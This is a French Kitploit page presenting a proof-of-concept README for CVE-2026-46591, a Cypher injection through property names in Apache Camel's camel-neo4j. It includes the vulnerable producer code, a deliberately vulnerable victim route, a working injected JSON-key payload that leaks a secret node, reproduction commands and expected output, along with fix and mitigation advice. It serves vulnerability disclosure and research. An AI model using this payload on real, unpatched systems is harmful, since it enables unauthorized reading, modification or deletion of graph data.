Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-46591 — Reproducteur pour CVE-2026-46591 : injection Cypher dans Apache Camel camel-neo4j via les noms de propriétés dans CamelNeo4jMatchProperties, permettant un contournement d'autorisation / une exfiltration de données inter-étiquettes (corrigé dans 4.14.8/4.18.3/4.21.0) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-46591
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionSécurité des Bases de Données
GitHuboscerd/cve-2026-46591

CVE-2026-46591

Reproducteur pour CVE-2026-46591 : injection Cypher dans Apache Camel camel-neo4j via les noms de propriétés dans CamelNeo4jMatchProperties, permettant un contournement d'autorisation / une exfiltration de données inter-étiquettes (corrigé dans 4.14.8/4.18.3/4.21.0)

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-neo4j Reproduceteur d'injection Cypher (CVE-2026-46591)

Ce projet démontre une injection Cypher dans le composant camel-neo4j d'Apache Camel, suivie sous la référence CVE-2026-46591. Le producteur construit la clause WHERE Cypher pour ses opérations de récupération/suppression à partir de la map CamelNeo4jMatchProperties. CVE-2025-66169 traitait l'injection par les valeurs des propriétés en les liant comme paramètres de requête ($paramN) — mais les noms des propriétés (les clés JSON de cette map) sont toujours concaténés tels quels dans la chaîne de requête dans Neo4jProducer.retrieveNodes() et deleteNode(). Un nom de propriété contenant de la syntaxe Cypher modifie donc la structure de la requête exécutée.

Cette POC démontre l'impact comme contournement d'autorisation / exfiltration de données : un attaquant place du Cypher dans une clé JSON afin qu'une recherche :Person soit réécrite (via ) pour renvoyer également un nœud qu'elle n'était jamais censée toucher — correspondant à la description de l'avis de sécurité « lire, modifier ou supprimer tout nœud ou relation ».

UNION
:Secret

Avis de sécurité : https://camel.apache.org/security/CVE-2026-46591.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-neo4j
Classe affectéeorg.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (nom de propriété interpolé dans la clause WHERE)
CWECWE-943 (Neutralisation incorrecte d'éléments spéciaux dans la logique de requête de données)
ImpactInjection Cypher → lecture / modification / suppression de nœuds et relations arbitraires
PrérequisUne route mappe une entrée non fiable dans la map CamelNeo4jMatchProperties (par exemple le corps de la requête) ; l'en-tête est préfixé par Camel, donc un client HTTP simple ne peut pas le définir directement
Versions affectéesDe 4.10.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0
Versions corrigées4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23528 (PR apache/camel#23258)
CréditYu Bao (PayPal)

Suite de correction incomplète de CVE-2025-66169 (CAMEL-22719), qui paramétrait les valeurs mais laissait les noms de propriétés interpolés. Même famille proche de l'injection d'en-tête que CVE-2025-27636, CVE-2026-40453, etc.

Détails techniques

root@kitploit:~
// Neo4jProducer.retrieveNodes (affecté 4.18.2) — la VALEUR est un paramètre, le NOM est concaténé tel quel :
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (la clé JSON) non échappé
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // la valeur est liée en toute sécurité
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

Avec la map bénigne {"name":"alice"} la requête est MATCH (n:Person) WHERE n.name = $param0 RETURN n. Avec une clé malveillante :

root@kitploit:~
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

la requête construite devient (la partie // = $param0 RETURN n du template est commentée) :

root@kitploit:~
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

ainsi la réponse contient le nœud :Person de l'appelant et le nœud :Secret.

Le correctif (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) ajoute une validation stricte des noms de propriétés (^[A-Za-z_][A-Za-z0-9_]*$) dans retrieveNodes() et deleteNode(), rejetant tout nom non conforme avec une Neo4jOperationException.

La route victime

root@kitploit:~
from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // le corps JSON non fiable devient la map de correspondance
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

Une API « rechercher une personne par propriétés » : le client fournit les critères de correspondance en JSON, et la route les transmet au producteur sous la forme CamelNeo4jMatchProperties. Le graphe contient deux nœuds :Person plus un nœud :Secret dont la value ne doit jamais être renvoyée par une recherche de personne.

Structure du dépôt

La victime est la route Camel et sa base de données Neo4j ; l'attaquant est un client HTTP qui place du Cypher dans une clé JSON. Un petit ensemenceur crée les nœuds et bloque le démarrage jusqu'à ce que Neo4j soit prêt.

root@kitploit:~
CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + l'application
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # hôte / bolt / identifiants / indicateur secret
    │   ├── Neo4jConfig.java       # le bean Driver Neo4j (référencé comme #neo4jDriver)
    │   ├── Neo4jSeeder.java       # attend Neo4j, ensemence les nœuds :Person + :Secret
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attaquant : légitime vs Cypher dans la clé JSON
    └── resources/
        └── application.properties

Prérequis

  • Docker et Docker Compose (exécute Neo4j + l'application)
  • Java 17+ et Maven 3.8+ (pour construire le jar)

Étapes de reproduction

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build           # le premier démarrage télécharge l'image neo4j d'environ 1 Go
# attendre la ligne de log de l'application "Started Application", puis :
curl -s http://localhost:8080/exploit/attack
docker compose down -v

Sortie attendue

root@kitploit:~
=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true

Vecteurs d'attaque

Toute route qui achemine des données non fiables dans CamelNeo4jMatchProperties pour une opération RETRIEVE_NODES ou DELETE_NODE. Au-delà de la lecture d'autres étiquettes via UNION, une clé injectée peut ajouter des clauses SET/DELETE/DETACH DELETE pour modifier ou détruire des nœuds et relations arbitraires.

Correctif recommandé

Mettez à jour vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). Après le correctif, les noms de propriétés sont validés par ^[A-Za-z_][A-Za-z0-9_]*$ avant d'être placés dans la requête.

Atténuation

En attendant la mise à jour, ne peuplez pas CamelNeo4jMatchProperties à partir d'une entrée non fiable : validez ou autorisez les noms de propriétés (par exemple avec ^[A-Za-z_][A-Za-z0-9_]*$) avant le producteur Neo4j, et assurez-vous que tout consommateur alimentant une telle route filtre les en-têtes Camel* / camel* entrants afin que l'en-tête de correspondance ne puisse pas être fourni par un expéditeur externe.

Avertissement

Ce reproducteur est fourni pour la recherche en sécurité et les tests autorisés uniquement, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil